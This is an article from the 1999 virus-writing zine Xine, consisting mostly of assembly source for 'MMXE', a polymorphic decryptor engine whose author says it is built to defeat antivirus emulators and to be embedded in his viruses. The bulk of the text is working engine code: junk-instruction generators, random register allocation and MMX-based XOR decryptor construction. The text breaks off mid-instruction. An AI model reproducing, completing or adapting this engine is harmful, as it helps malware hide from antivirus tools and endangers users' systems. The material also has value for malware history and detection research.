/-----------------------------\ | Xine - issue #4 - Phile 301 | \-----------------------------/ ; [MMXE] - MultiMedia eXtensions Engine v1.01 ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; [ Introduction to MMXE ] ; ; Ladies and gentlemen... The world's first MMX oriented polymorphic engine! ; I want to see emulators tracing it! Well, as you can think, it's an extra- ; vaganza, but let me explain what forced me to do it. One day i was playing ; around with the FPU instructions (while coding my PoshKiller), and i built ; an encryptor using only the coprocessor, but due to some strange problems ; with the coprocessor's way to round up, i had to code a mix between the ; ussual XOR encryption method and the FPU, for stop emulators. But i had ; heard that DrWeb emulates FPU... And this is a real shit! I began to think, ; "what is not emulated?"... And there it was, the (relative) new MMX instru- ; ctions. I think that people has at least a P166MMX (as me!), so i built ; this thingy. By the way... added to the fact that this engine will generate ; the most strange decryptors around, we have the speed. It's a hell speedy ; thingy! :) ; ; This engine will also work with non-MMX machines. ; ; [ Compatibility with non-MMX machines ] ; ; The only way for compatibility is to use a function that's equal exactly in ; MMX and in its normal usage, for example PXOR and XOR functions. We must ; make two decryptors, one using MMX instructions everywhere and other usual ; one. Look at this diagram (example of what could be generated by MMXE): ; ; ÚÄÄÄÄÄÄÄÄÄÄÄ¿ ¿ 01. Check for MMX presence: if found goto 2; else goto E ; ³ Decryptor ³ ÃÄ 02. Get pseudo delta offset ; ÃÄÄÄÄÄÄÄÄÄÄÄ´ Ù 03. Load size into size register ; ³ ³ 04. Load pointer into pointer register ; ³ ³ 05. Load key into key register ; ³ Encrypted ³ 06. Move to MMX register used as key the key ; ³ data ³ 07. Move the pointed dword to MMX reg used as pointer ; ³ ³ 08. Perform the MMX encryption operation ; ³ ³ 09. Store the decrypted dword in its position ; ÀÄÄÄÄÄÄÄÄÄÄÄÙ 0A. Increase pointer register by 4 ; 0B. Decrease counter register by 1 ; 0C. Loop 07 (while counter reg != 0) ; 0D. Jump to encrypted data (already decrypted) ; 0E. Get pseudo delta offset ; 0F. Load size into size register ; 10. Load pointer into pointer register ; 11. Load key into key register ; 12. Perform the non-MMX encryption operation ; 13. Increase pointer register by 4 ; 14. Decrease counter register by 1 ; 15. Loop 12 (while counter reg != 0) ; 16. Jump to encrypted data (already decrypted) ; ; Of course, between all the points will be garbage, but note the different ; kind of it: ; ; 02..0D -> MMX instructions also used as garbage ; 01,0E..16 -> MMX instructions don't used as garbage ; ; [ Brief explanation of some MMX stuff ] ; ; Anyway, if you want to text for MMX presence, you can do it by checking ; flag 23 returned by CPUID when EAX was 1. Ok, ok... simply with this code ; lines: ; ; mov eax,1 ; cpuid ; test edx,00000000010000000000000000000000b ; jnz mmx_not_found ; jmp mmx_found ; ; or even the optimized version: ; ; xor eax,eax ; inc eax ; cpuid ; bt edx,17h ; jnc mmx_not_found ; ; It is very viable, as we have some "known" operations, but speeded up, such ; as PXOR, POR, PAND, and such like. So it's very easy to perform a simple ; encryptor by using MMX instructions. Here you have an example: ; ; lea edi,pointer_to_data_to_crypt ; mov esi,enc_key ; mov ecx,size_to_crypt/4 ; movd mm2,esi ; @@1: movd mm1,[edi] ; pxor mm1,mm2 ; movd [edi],mm1 ; add edi,4 ; loop @@1 ; ; This will perform a simple XOR operation dword per dword to all the encryp- ; ted data. Simple, huh? :) I would like to see the face that will have the ; first AV in obtain something that uses MMX! Hehehe, he won't be expecting ; such like thing! :) ; ; Well, this engine provides a weak encryption, just because i need more time ; for experiment with the different MMX opcodes. Also, i've never been very ; good at poly: i begin very spectacular projects, but i become bored by them ; very quickly (for example, i've coded an engine called WPE, i have it in my ; HD, but i think i will never finish it... it's now about 3.5K...). Well, ; i think there'll be a version 2.00 of this engine, that will be implemented ; in one of my simplest viruses (such as Win32.Aztec or Win32.Paradise) for ; test its abilities. ; ; [ Dedications, Fucks & Thoughts ] ; ; This engine is dedicated to all my friends: b0z0, StarZer0, SeptiC, Benny, ; Super, nIgr0, MDriller, VirusBuster, Wintermute, Ypsilon, etc. ; Fucks go to the following motherfuckers: IntelServ/VGrep/Algorithm/etc, to ; all fascists and totalitarian ppl over the earth, to the catholics fanatics ; (or of another religion)... i.e. all the people that doesn't control his ; life, who is not free, and wants all the other ppl to be as him... ; ; I'll be forever free (nice song, heh inty?) :) ; ; (c) 1999 Billy Belcebu/iKX .586p .model flat extrn ExitProcess:PROC extrn GetTickCount:PROC extrn MessageBoxA:PROC rdtcs equ .data db "[MMXE] - MultiMedia eXtensions Engine v1.00",0 db "A research made by Billy Belcebu/iKX",0 .code ; Here follows some code used by me for test the engine fakehost: xor ebp,ebp call GetTickCount mov dword ptr [ebp+rnd_seed1],eax rdtcs mov dword ptr [ebp+rnd_seed2],eax mov dword ptr [ebp+rnd_seed3],edx int 3 lea esi,crypt lea edi,buffer mov ecx,cryptsize call mmxe call buffer ; Decrypt push 00001000h push offset c1 push offset c2 push 00000000h call MessageBoxA push 0 call ExitProcess nop buffer: db LIMIT dup (90h) crypt: ret c1: db "[MMXE." db (mmxe_end-mmxe)/1000 mod 10 + "0" db (mmxe_end-mmxe)/0100 mod 10 + "0" db (mmxe_end-mmxe)/0010 mod 10 + "0" db (mmxe_end-mmxe)/0001 mod 10 + "0" db "]",0 c2: db "Late at night i found myself again",10 db "wondering and watching TV",10 db "I can't believe what's on the screen",10 db "something that i wouldn't like to see",10 db "Many rare species will perish soon",10 db "and we'll be short on food",10 db "Why do we have to be so selfish",10 db "we have to change our attitude",10 db "I know that i am not",10 db "the only one that's worried",10 db "Why don't we all",10 db "wake up, and and realize",10 db "Like the birds in the sky",10 db "we are flying so high",10 db "without making anykind of sacrifice",10 db "We've got so little time",10 db "to undo this crime",10 db "or we'll lose our paradise",10 db "It seems to me that there's no sense at all",10 db "nobody cares, it's always the same",10 db "Mother nature's crying out in pain",10 db "I know we are the ones to blame",10 db "Paradise [ Stratovarius ]",10,10 db "(c) 1999 Billy Belcebu/iKX",0 dd 00000000h cryptsize equ $-crypt ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; [MMXE] - MultiMedia eXtensions Engine v1.01 ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; This is a bugfixed and improved version of my MMXE v1.00. Enjoy it! ; PS: Of course, this engine is so far away from Mental Driller's code, but ; at least it tries to be poly, huh? :) ; ; input: ; ECX = Size of code to encrypt ; ESI = Pointer to the data to encrypt ; EDI = Buffer where put the decryptor ; EBP = Delta Offset ; output: ; ECX = Decryptor size ; ; All the other registers, preserved. ; ; [ Default MMXE settings ] LIMIT equ 800h ; Decryptor size (2K) RECURSION equ 05h ; The recursion level of THME nGARBAGE equ 08h ; Sorta level of garbage ; [ Registers ] _EAX equ 00000000b ; All these are the numeric _ECX equ 00000001b ; value of all the registers. _EDX equ 00000010b ; Heh, i haven't used here _EBX equ 00000011b ; all this, but... wtf? they _ESP equ 00000100b ; don't waste bytes, and ma- _EBP equ 00000101b ; ke this shit to be more _ESI equ 00000110b ; clear :) _EDI equ 00000111b ; ; [ MMX registers ] _MM0 equ 00000000b _MM1 equ 00000001b _MM2 equ 00000010b _MM3 equ 00000011b _MM4 equ 00000100b _MM5 equ 00000101b _MM6 equ 00000110b _MM7 equ 00000111b ; [ Internal flags ] _CHECK4MMX equ 0000000000000001b _DELTAOFFSET equ 0000000000000010b _LOADSIZE equ 0000000000000100b _LOADPOINTER equ 0000000000001000b _LOADKEY equ 0000000000010000b _PASSKEY2MMX equ 0000000000100000b _PASSPTR2MMX equ 0000000001000000b _CRYPT equ 0000000010000000b _PASSMMX2PTR equ 0000000100000000b _INCPOINTER equ 0000001000000000b _DECCOUNTER equ 0000010000000000b _LOOP equ 0000100000000000b ; [ POSITIONS ] @CHECK4MMX equ 00h @DELTAOFFSET equ 01h @LOADSIZE equ 02h @LOADPOINTER equ 03h @LOADKEY equ 04h @PASSKEY2MMX equ 05h @PASSPTR2MMX equ 06h @CRYPT equ 07h @PASSMMX2PTR equ 08h @INCPOINTER equ 09h @DECCOUNTER equ 0Ah @LOOP equ 0Bh ; [ PUSHAD structure ] PUSHAD_EDI equ 00h PUSHAD_ESI equ 04h PUSHAD_EBP equ 08h PUSHAD_ESP equ 0Ch PUSHAD_EBX equ 10h PUSHAD_EDX equ 14h PUSHAD_ECX equ 18h PUSHAD_EAX equ 1Ch RETURN_ADDRESS equ 04h ; [ MMXE v1.01 ] mmxe proc pushad call @@init_mmxe pushad call @@crypt_data popad call @@gen_some_garbage call @@gen_check4mmx call @@gen_some_garbage ; Generate the 5 parts of the decryptor that go before the loop @@gb4l_: call @@gen_some_garbage call @@gen_before_loop @@gb4l?: movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; Check if all flags were _DELTAOFFSET or \ ; done ... (They should be, _LOADSIZE or \ ; but i don't trust in my own _LOADPOINTER or \ ; code :) _LOADKEY or \ _PASSKEY2MMX jnz @@gb4l_ ; Get the loop point call @@getloopaddress call @@gen_some_garbage ; Generate the decryptor instructions that form the loop lea esi,[ebp+@@after_looptbl] mov ecx,@@s_aftlooptbl @@gal: lodsd add eax,ebp push ecx esi call eax call @@gen_some_garbage pop esi ecx loop @@gal mov al,0E9h stosb mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+@@ptr_buffer] add ebx,4 sub eax,ebx stosd ; And now generate the non-MMX decryptor call @@gen_garbage mov eax,dword ptr [ebp+@@ptrto2nd] mov ebx,edi sub ebx,eax sub ebx,4 mov dword ptr [eax],ebx and word ptr [ebp+@@flags],0000h and byte ptr [ebp+@@init_mmx?],00h or word ptr [ebp+@@flags],_CHECK4MMX @@gb4lx_: call @@gen_some_garbage call @@gen_before_loop_non_mmx @@gb4lx?: movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; Check if all flags were _DELTAOFFSET or \ ; done ... (They should be, _LOADSIZE or \ ; but i don't trust in my own _LOADPOINTER or \ ; code :) _LOADKEY jz @@continue_with_this movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; In strange files, i dunno _DELTAOFFSET or \ ; why, instead 1F, we must _LOADSIZE or \ ; check for 3F... otherwise, _LOADPOINTER or \ ; all it goes to hell :( _LOADKEY or \ _PASSKEY2MMX jnz @@gb4lx_ @@continue_with_this: call @@gen_garbage call @@getloopaddress lea esi,[ebp+@@after_l00ptbl] mov ecx,@@s_aftl00ptbl @@galx: lodsd add eax,ebp push ecx esi call eax call @@gen_some_garbage pop esi ecx loop @@galx mov al,0E9h ; Generate the JMP to the stosb ; decrypted virus code mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+@@ptr_buffer] add ebx,04h sub eax,ebx stosd xchg eax,ecx ; Fill with shit the rest @@FillTheRest: call random stosb loop @@FillTheRest call @@uninit_mmxe popad ret db 00h,"[MMXE v1.01]",00h ; --- Initialization & Uninitialization routines @@init_mmxe: mov dword ptr [ebp+@@ptr_data2enc],esi mov dword ptr [ebp+@@ptr_buffer],edi mov dword ptr [ebp+@@size2enc],ecx shr ecx,2 mov dword ptr [ebp+@@size2cryptd4],ecx and byte ptr [ebp+@@init_mmx?],00h and word ptr [ebp+@@flags],00h call random mov dword ptr [ebp+@@enc_key],eax @@get_key: mov eax,08h call r_range or eax,eax jz @@get_key cmp eax,_ESP jz @@get_key mov byte ptr [ebp+@@reg_key],al mov ebx,eax @@get_ptr2data: mov eax,08h call r_range or eax,eax jz @@get_ptr2data cmp eax,_ESP jz @@get_ptr2data cmp eax,_EBP jz @@get_ptr2data cmp eax,ebx jz @@get_ptr2data mov byte ptr [ebp+@@reg_ptr2data],al mov ecx,eax @@get_counter: mov eax,08h call r_range or eax,eax jz @@get_counter cmp eax,_ESP jz @@get_counter cmp eax,ebx jz @@get_counter cmp eax,ecx jz @@get_counter mov byte ptr [ebp+@@reg_counter],al mov edx,eax @@get_delta: mov eax,08h call r_range or eax,eax jz @@get_delta cmp eax,_ESP jz @@get_delta cmp eax,ebx jz @@get_delta cmp eax,ecx jz @@get_delta cmp eax,edx jz @@get_delta mov byte ptr [ebp+@@reg_delta],al mov edx,eax @@get_mmxptr2data: mov eax,08h call r_range mov byte ptr [ebp+@@mmx_ptr2data],al mov ebx,eax @@get_mmxkey: mov eax,08h call r_range cmp eax,ebx jz @@get_mmxkey mov byte ptr [ebp+@@mmx_key],al mov dword ptr [edi],"EXMM" ret @@uninit_mmxe: mov ecx,edi sub ecx,dword ptr [ebp+@@ptr_buffer] mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx ret ; --- Who made this? Ehrm... oh, it was me! :) db 00h,"[- (c) 1999 Billy Belcebu/iKX -]",00h ; --- Useful subroutines used by the engine @@get_register: movzx ebx,byte ptr [ebp+@@reg_key] movzx ecx,byte ptr [ebp+@@reg_ptr2data] movzx edx,byte ptr [ebp+@@reg_counter] movzx esi,byte ptr [ebp+@@reg_delta] @@gr_get_another: mov eax,08h call r_range cmp eax,_ESP jz @@gr_get_another cmp eax,ebx jz @@gr_get_another cmp eax,ecx jz @@gr_get_another cmp eax,edx jz @@gr_get_another cmp eax,esi jz @@gr_get_another cmp al,byte ptr [ebp+@@reg_mask] jz @@gr_get_another ret @@get_mmx_register: movzx ebx,byte ptr [ebp+@@mmx_ptr2data] movzx ecx,byte ptr [ebp+@@mmx_key] @@gmmxr_get_another: mov eax,08h call r_range cmp eax,ebx jz @@gmmxr_get_another cmp eax,ecx jz @@gmmxr_get_another ret @@clear_mask: and byte ptr [ebp+@@reg_mask],00h ret @@is_register: cmp al,byte ptr [ebp+@@reg_key] jz @@is_used cmp al,byte ptr [ebp+@@reg_ptr2data] jz @@is_used cmp al,byte ptr [ebp+@@reg_counter] jz @@is_used cmp al,byte ptr [ebp+@@reg_delta] jz @@is_used cmp al,byte ptr [ebp+@@reg_mask] jz @@is_used mov cl,00h org $-1 @@is_used: stc ret @@gen_before_loop: mov eax,05h call r_range or eax,eax ; 0 jz @@try_deltaoffset dec eax ; 1 jz @@try_loadsize dec eax ; 2 jz @@try_loadpointer dec eax ; 3 jz @@try_loadkey ; 4 jmp @@try_passkey2mmx ; 5 @@try_deltaoffset: bt word ptr [ebp+@@flags],@DELTAOFFSET jc @@gen_before_loop call @@gen_deltaoffset ret @@try_loadsize: bt word ptr [ebp+@@flags],@LOADSIZE jc @@gen_before_loop call @@gen_loadsize ret @@try_loadpointer: bt word ptr [ebp+@@flags],@LOADPOINTER jc @@gen_before_loop bt word ptr [ebp+@@flags],@DELTAOFFSET jnc @@gen_before_loop call @@gen_loadpointer ret @@try_loadkey: bt word ptr [ebp+@@flags],@LOADKEY jc @@gen_before_loop call @@gen_loadkey ret @@try_passkey2mmx: bt word ptr [ebp+@@flags],@PASSKEY2MMX jc @@gen_before_loop bt word ptr [ebp+@@flags],@LOADKEY jnc @@gen_before_loop call @@gen_passkey2mmx ret @@gen_before_loop_non_mmx: mov eax,04h call r_range or eax,eax ; 0 jz @@try_deltaoffset_non_mmx dec eax ; 1 jz @@try_loadsize_non_mmx dec eax ; 2 jz @@try_loadpointer_non_mmx jmp @@try_loadkey_non_mmx @@try_deltaoffset_non_mmx: bt word ptr [ebp+@@flags],@DELTAOFFSET jc @@gen_before_loop call @@gen_deltaoffset ret @@try_loadsize_non_mmx: bt word ptr [ebp+@@flags],@LOADSIZE jc @@gen_before_loop call @@gen_loadsize ret @@try_loadpointer_non_mmx: bt word ptr [ebp+@@flags],@LOADPOINTER jc @@gen_before_loop bt word ptr [ebp+@@flags],@DELTAOFFSET jnc @@gen_before_loop call @@gen_loadpointer ret @@try_loadkey_non_mmx: bt word ptr [ebp+@@flags],@LOADKEY jc @@gen_before_loop call @@gen_loadkey ret @@crypt_data: mov ecx,dword ptr [ebp+@@size2cryptd4] mov ebx,dword ptr [ebp+@@enc_key] mov edi,dword ptr [ebp+@@ptr_data2enc] mov esi,edi @@cl00p:lodsd xor eax,ebx stosd loop @@cl00p ret ; --- Garbage generators @@gen_garbage: inc byte ptr [ebp+@@recursion] cmp byte ptr [ebp+@@recursion],RECURSION jae @@gg_exit cmp byte ptr [ebp+@@init_mmx?],00h ja @@gg_mmx @@gg_non_mmx: mov eax,@@non_mmx_gbg jmp @@gg_doit @@gg_mmx: mov eax,@@s_gbgtbl @@gg_doit: call r_range lea ebx,[ebp+@@gbgtbl] mov eax,[ebx+eax*4] add eax,ebp call eax @@gg_exit: dec byte ptr [ebp+@@recursion] ret @@gen_some_garbage: mov ecx,nGARBAGE @@gsg_l00p: push ecx call @@gen_garbage pop ecx loop @@gsg_l00p ret ; Generates any arithmetic operation with a register with another one register: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,REG32 @@gen_arithmetic_reg32_reg32: call random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] or al,00000011b stosb @@gar32r32: call @@get_register or al,al jz @@gar32r32 shl eax,3 or al,11000000b push eax call random and al,00000111b xchg ebx,eax pop eax or al,bl stosb ret ; Generates any arithmetic operation with an immediate with a 32bit register: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,IMM32 @@gen_arithmetic_reg32_imm32: mov al,81h ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] stosb @@gar32i32: call @@get_register or al,al jz @@gar32i32 push eax call random and al,00111000b or al,11000000b pop ebx or al,bl stosb call random stosd ret ; Generates any arithmetic operation with an immediate with EAX: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP EAX,IMM32 @@gen_arithmetic_eax_imm32: call random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] or al,00000101b stosb call random stosd ret ; Generates a mov immediate to 32 bit reg: ; MOV REG32,IMM32 @@gen_mov_reg32_imm32: call @@get_register add al,0B8h stosb call random stosd ret ; Generates mov immediate to 8bit reg: ; MOV REG8,IMM8 @@gen_mov_reg8_imm8: mov eax,4 call r_range call @@is_register jc @@quitthisshit push eax mov eax,2 call r_range pop ecx xchg eax,ecx jecxz @@use_msb @@put_it: add al,0B0h stosb call random stosb @@quitthisshit: ret @@use_msb: or al,00000100b jmp @@put_it ; Generates CALLs to subroutines: ; CALL @@1 ; [...] ; JMP @@2 ; [...] ; @@1: [...] ; RET ; [...] ; @@2: [...] @@gen_call_to_subroutine: mov al,0E8h stosb xor eax,eax stosd push edi call @@gen_garbage mov al,0E9h stosb xor eax,eax stosd push edi call @@gen_garbage mov al,0C3h stosb call @@gen_garbage mov ebx,edi pop edx sub ebx,edx mov [edx-4],ebx pop ecx sub edx,ecx mov [ecx-4],edx @@do_anything: ret ; Generate push/garbage/pop structure (allows recursivity): ; PUSH REG ; [...] ; POP REG ; @@gen_push_garbage_pop: mov eax,08h call r_range add al,50h stosb call @@gen_garbage call @@get_register add al,58h stosb ret ; MMX Group 1: ; ; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB ; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW @@gen_mmx_group1: mov bx,600Fh mov eax,0Ch call r_range add bh,al xchg eax,ebx stosw call @@build_mmx_gbg_rib ret @@gen_mmx_movq_mm?_mm?: mov ax,6F0Fh ; MOVQ MM?,MM? stosw call @@build_mmx_gbg_rib ret @@gen_mmx_movd_mm?_reg32: mov ax,7E0Fh ; MOVD MM?,E?? stosw call @@get_mmx_register shl eax,3 push eax call @@get_register xchg eax,ebx pop eax or al,bl or al,11000000b stosb ret ; MMX Group 2: ; ; PCMPEQB/PCMPEQW/PCMPEQD @@gen_mmx_group2: mov al,0Fh stosb mov eax,3 call r_range add al,74h stosb call @@build_mmx_gbg_rib ret ; MMX Group 3: ; ; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW ; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD @@gen_mmx_group3: mov al,0Fh stosb call @@__overshit @@eoeo: db 0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh db 0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh db 0F1h,0F2h,0F5h sg3tbl equ ($-offset @@eoeo) @@__overshit: pop esi mov eax,sg3tbl call r_range mov al,byte ptr [esi+eax] stosb call @@build_mmx_gbg_rib @@gmmx_goaway: ret @@build_mmx_gbg_rib: call @@get_mmx_register shl eax,3 push eax call @@get_mmx_register xchg eax,ebx pop eax or eax,ebx or al,11000000b stosb ret ; Generate Onebyters: ; ; CLD/CMC/SALC/NOP/LAHF/INC EAX/DEC EAX/SAHF/(F)WAIT/CWDE @@gen_onebyter: call @@go_overshit db 0FCh,0F5h,0D6h,90h,9Fh,40h,48h,9Eh,9Bh,98h @@go_overshit: pop esi mov eax,0Ah call r_range mov al,byte ptr [esi+eax] stosb ret ; Generate many possible ways for make a determinated register to be 0: ; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0 @@gen_zer0_reg: call @@get_register ; For garbage generators @@gen_zero_reg: push eax mov eax,06h call r_range pop ecx xchg eax,ecx jecxz @@xor_reg_reg dec ecx jecxz @@sub_reg_reg dec ecx jecxz @@push_0_pop_reg dec ecx jecxz @@and_reg_0 dec ecx jecxz @@mov_reg_0 @@or_reg_m1_inc_reg: push eax cmp al,_EAX jnz @@or_reg_m1 @@or_eax_m1: mov al,0Dh ; OR EAX,-1 stosb xor eax,eax dec eax stosd jmp @@orm1ir_inc_reg @@or_reg_m1: xchg eax,ebx mov ax,0C883h ; OR REG,-1 or ah,bl stosw xor eax,eax dec eax stosb xchg eax,ebx @@orm1ir_inc_reg: pop eax add al,40h ; INC REG stosb ret @@xor_reg_reg: xchg eax,ebx mov ax,0C033h ; XOR REG,REG or ah,bl shl ebx,3 or ah,bl stosw ret @@sub_reg_reg: xchg eax,ebx mov ax,0C02Bh ; SUB REG,REG or ah,bl shl ebx,3 or ah,bl stosw ret @@push_0_pop_reg: push eax mov ax,006Ah ; PUSH 00h stosw ; POP REG pop eax add al,58h stosb ret @@and_reg_0: cmp al,_EAX jnz @@and_regnoteax_0 @@and_eax_0: mov al,25h stosb xor eax,eax stosd ret @@and_regnoteax_0: xchg eax,ebx mov ax,0E083h ; AND REG,00 or ah,bl stosw xor eax,eax stosb ret @@mov_reg_0: add al,0B8h ; MOV REG,00000000 stosb xor eax,eax stosd ret ; --- Decryptor code generators ; Generate the routine for check for MMX presence, that should perform exactly ; the same action of the following code: ; MOV EAX,1 ; CPUID ; BT EDX,17h ; JNC NOT_MMX @@gen_check4mmx: mov eax,08h call r_range xchg eax,ecx jecxz @@c4mmx_a_@@1 dec ecx jecxz @@c4mmx_a_@@2 dec ecx jecxz @@c4mmx_a_@@3 dec ecx jecxz @@c4mmx_a_@@4 dec ecx jecxz @@c4mmx_a_@@5 dec ecx jecxz @@c4mmx_a_@@6 dec ecx jecxz @@c4mmx_a_@@7 @@c4mmx_a_@@8: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; SUB EAX,-1 mov al,2Dh stosb xor eax,eax dec eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@7: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; ADD EAX,1 mov al,05h stosb xor eax,eax inc eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@6: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; STC mov ax,1DF9h ; SBB EAX,-2 stosw xor eax,eax dec eax dec eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@5: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; STC mov ax,15F9h ; ADC EAX,00000000 stosw xor eax,eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@4: mov al,0Dh ; OR EAX,-1 stosb ; AND EAX,1 xor eax,eax dec eax stosd mov al,25h stosb xor eax,eax inc eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@3: mov eax,9058016Ah ; PUSH 01 stosd ; POP EAX dec edi jmp @@c4mmx_over_a @@c4mmx_a_@@2: xor eax,eax call @@gen_zero_reg ; ZERO EAX mov al,40h ; INC EAX stosb jmp @@c4mmx_over_a @@c4mmx_a_@@1: mov al,0B8h ; MOV EAX,1 stosb xor eax,eax inc eax stosd @@c4mmx_over_a: call @@gen_garbage mov ax,0A20Fh ; CPUID stosw call @@clear_mask mov byte ptr [ebp+@@reg_mask],_EDX call @@gen_garbage mov eax,03h call r_range or eax,eax jz @@c4mmx_b_@@3 dec eax jz @@c4mmx_b_@@2 @@c4mmx_b_@@1: mov eax,17E2BA0Fh ; BT EDX,17h stosd ; JC $+?? mov al,72h stosb jmp @@c4mmx_over_b @@c4mmx_b_@@2: mov eax,0000C2F7h ; TEST EDX,00400000h stosd ; JZ $+?? mov eax,00740040h stosd dec edi jmp @@c4mmx_over_b @@c4mmx_b_@@3: mov eax,7218EAC1h ; SHR EDX,18h stosd ; JC $+?? @@c4mmx_over_b: push edi inc edi ; Fake data for temp. fill call @@gen_garbage mov al,0e9h ; RET stosb mov dword ptr [ebp+@@ptrto2nd],edi xor eax,eax stosd call @@gen_garbage pop ebx mov edx,edi sub edx,ebx dec edx mov byte ptr [ebx],dl inc byte ptr [ebp+@@init_mmx?] or word ptr [ebp+@@flags],_CHECK4MMX ret ; Generate a routine for get the pseudo delta-offset, which will look like ; this one: ; CALL @@1 ; [...] ; @@1: POP REG @@gen_deltaoffset: mov eax,10h call r_range xchg eax,ebx mov al,0E8h stosb xor eax,eax stosd mov dword ptr [ebp+@@tmp_call],edi call @@gen_garbage mov ecx,dword ptr [ebp+@@tmp_call] mov ebx,edi sub ebx,ecx mov [ecx-4],ebx mov al,58h add al,byte ptr [ebp+@@reg_delta] stosb mov ebx,dword ptr [ebp+@@ptr_buffer] sub ecx,ebx mov dword ptr [ebp+@@fix1],ecx or word ptr [ebp+@@flags],_DELTAOFFSET ret ; Generate a routine for put in the register used as counter the size of the ; code we want to decrypt @@gen_loadsize: or word ptr [ebp+@@flags],_LOADSIZE mov eax,2 call r_range xchg eax,ecx jecxz @@gls_@@2 @@gls_@@1: mov al,68h ; PUSH size stosb ; POP reg_size mov dword ptr [ebp+@@size_address],edi mov eax,dword ptr [ebp+@@size2cryptd4] stosd call @@gen_garbage mov al,58h add al,byte ptr [ebp+@@reg_counter] stosb ret @@gls_@@2: movzx eax,byte ptr [ebp+@@reg_counter] add eax,0B8h ; MOV reg_size,size stosb mov dword ptr [ebp+@@size_address],edi mov eax,dword ptr [ebp+@@size2cryptd4] stosd ret ; Generate the code that will make the pointer register to point exactly to ; the beginning of the code we want to encrypt or decrypt @@gen_loadpointer: mov eax,LIMIT sub eax,dword ptr [ebp+@@fix1] mov dword ptr [ebp+@@fix2],eax mov eax,03h call r_range or eax,eax jz @@lp_@@3 dec eax jz @@lp_@@2 @@lp_@@1: mov al,8Dh ; LEA reg_ptr,[reg_delta+fix] stosb movzx eax,byte ptr [ebp+@@reg_ptr2data] shl al,3 add al,10000000b add al,byte ptr [ebp+@@reg_delta] stosb jmp @@lp_ @@lp_@@2: mov al,8Bh ; MOV reg_ptr,reg_delta stosb ; ADD reg_ptr,fix movzx eax,byte ptr [ebp+@@reg_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_delta] or al,11000000b stosb call @@gen_garbage mov al,81h stosb mov al,0C0h or al,byte ptr [ebp+@@reg_ptr2data] stosb jmp @@lp_ @@lp_@@3: call @@clear_mask ; MOV reg_mask,fix2 call @@get_register ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)] mov byte ptr [ebp+@@reg_mask],al add al,0B8h stosb call random stosd push eax call @@gen_garbage pop edx sub dword ptr [ebp+@@fix2],edx mov al,8Dh stosb movzx eax,byte ptr [ebp+@@reg_ptr2data] shl eax,3 or al,10000100b stosb movzx eax,byte ptr [ebp+@@reg_mask] shl eax,3 or al,byte ptr [ebp+@@reg_delta] stosb @@lp_: mov eax,dword ptr [ebp+@@fix2] stosd or word ptr [ebp+@@flags],_LOADPOINTER ret ; Put in the register used as key the number used for the encryption of the ; virus code. @@gen_loadkey: mov eax,2 call r_range xchg eax,ecx jecxz @@glk_@@2 @@glk_@@1: mov al,68h ; PUSH enc_key stosb ; POP reg_key mov eax,dword ptr [ebp+@@enc_key] stosd call @@gen_garbage mov al,58h add al,byte ptr [ebp+@@reg_key] stosb or word ptr [ebp+@@flags],_LOADKEY ret @@glk_@@2: ; MOV key_reg,enc_key movzx eax,byte ptr [ebp+@@reg_key] add eax,0B8h stosb mov eax,dword ptr [ebp+@@enc_key] stosd or word ptr [ebp+@@flags],_LOADKEY ret ; Generate the code for pass the encryption key to an MMX register @@gen_passkey2mmx: mov ax,6E0Fh ; MOV mmx_key,reg_key stosw movzx eax,byte ptr [ebp+@@mmx_key] shl eax,3 or al,byte ptr [ebp+@@reg_key] or al,11000000b stosb or word ptr [ebp+@@flags],_PASSKEY2MMX ret ; Just for know where we must loop the decryptor @@getloopaddress: mov dword ptr [ebp+@@l00paddress],edi ret ; Pass the dword of code we are decrypting to the MMX register used for that ; matter @@gen_passptr2mmx: mov ax,6E0Fh ; MOV mmx_ptr,[reg_ptr] stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_ptr2data] stosb or word ptr [ebp+@@flags],_PASSPTR2MMX ret ; Generate the MMX encryption opcode: ; PXOR @@gen_crypt_instructions: mov ax,0EF0Fh ; PXOR mmx_ptr,mmx_key stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr 